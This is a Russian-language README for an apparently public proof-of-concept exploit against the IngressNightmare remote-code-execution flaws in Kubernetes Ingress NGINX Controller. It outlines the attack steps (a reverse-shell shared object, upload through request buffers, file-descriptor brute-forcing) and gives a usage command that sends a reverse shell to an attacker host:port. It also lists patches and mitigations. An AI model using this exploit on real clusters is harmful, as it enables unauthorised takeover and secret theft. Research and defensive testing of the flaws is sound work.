
Это PoC-код для эксплуатации уязвимостей IngressNightmare (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514 и CVE-2025-1974).
Этот проект предоставляет эксплойт, нацеленный на критические уязвимости неаутентифицированного удаленного выполнения кода (RCE) в Ingress NGINX Controller для Kubernetes, в совокупности называемые IngressNightmare. (Исследование Wiz)
В оригинальном исследовании команда Wiz не предоставила PoC или функциональный эксплойт, поэтому мы решили создать свой собственный и поделиться им с сообществом.
Ingress NGINX Controller — широко используемый компонент в средах Kubernetes, управляющий внешним доступом к сервисам внутри кластеров. Недавние уязвимости (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974), обнаруженные в его admission controller, могут привести к несанкционированному доступу ко всем секретам во всех пространствах имен и потенциально позволить полный захват кластера.
https://github.com/user-attachments/assets/9e893abf-5c01-4fcb-ad79-7115b429281f
Эксплойт выполняет следующие основные шаги:
Создание shared object (используется внедренным свойством ssl_engine):
Компилирует библиотеку .so (evil_engine.so), содержащую полезную нагрузку reverse shell.
Загрузка shared object:
Отправляет скомпилированный shared object в под ingress, используя обработку запросов (буферы тела клиента). Хитрость заключается в отправке другого Content-Length серверу, чтобы сохранить соединение открытым и удерживать файловый дескриптор для открытого файла.
Подбор fd (Brute-force): Перебирает идентификаторы процессов и файловые дескрипторы (/proc/{pid}/fd/{fd}), чтобы определить правильный дескриптор, ссылающийся на загруженный объект.
Использование
Предварительные требования: Python 3.x Компилятор GCC Модуль Python requests
Запуск эксплойта:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/hakaioffsec/ingressnightmare-poc/blob/HEAD/attacker_host:port)
Пример: python3 xpl.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
Иногда admission webhook находится в другом пространстве имен. В этом случае необходимо указать пространство имен в конце, например, kube-system, default или ingress-nginx.
<ingress_url>: Целевой URL Ingress (публичный)
<admission_webhook_url>: URL admission webhook (внутренний webhook)
attacker_host:port: Ваш хост и порт для reverse shell
Немедленно обновитесь: Обновите Ingress NGINX Controller до исправленных версий (1.12.1 или 1.11.5).
Ограничьте admission webhook: Ограничьте доступ к webhook только серверу API Kubernetes.
Временное отключение: Рассмотрите возможность временного отключения компонента admission controller, если обновление невозможно немедленно.
QuimeraX Intelligence — это продвинутая платформа EASM и киберразведки, специализирующаяся на выявлении критических уязвимостей в сложных системах. Платформа проактивно мониторит, обнаруживает и оповещает клиентов об угрозах безопасности, обеспечивая прозрачность и быструю реакцию на потенциальные риски. Клиенты получают немедленные уведомления и подробные отчеты, если их системы оказываются уязвимыми, что позволяет им принять защитные меры. узнать больше
Hakai Security — это компания по кибербезопасности, основанная профессионалами в области безопасности, приверженная техническому превосходству. Мы предлагаем индивидуальные решения безопасности, включая продвинутое тестирование на проникновение, реалистичные симуляции Red Team и практики безопасной разработки, чтобы проактивно защищать активы наших клиентов от развивающихся киберугроз. узнать больше
Отказ от ответственности
Этот эксплойт предоставляется строго в образовательных и исследовательских целях. Несанкционированное использование данного инструмента против целей без явного разрешения. Hakai Security и QuimeraX не несут ответственности за неправильное использование или ущерб, причиненный в результате использования этого эксплойта.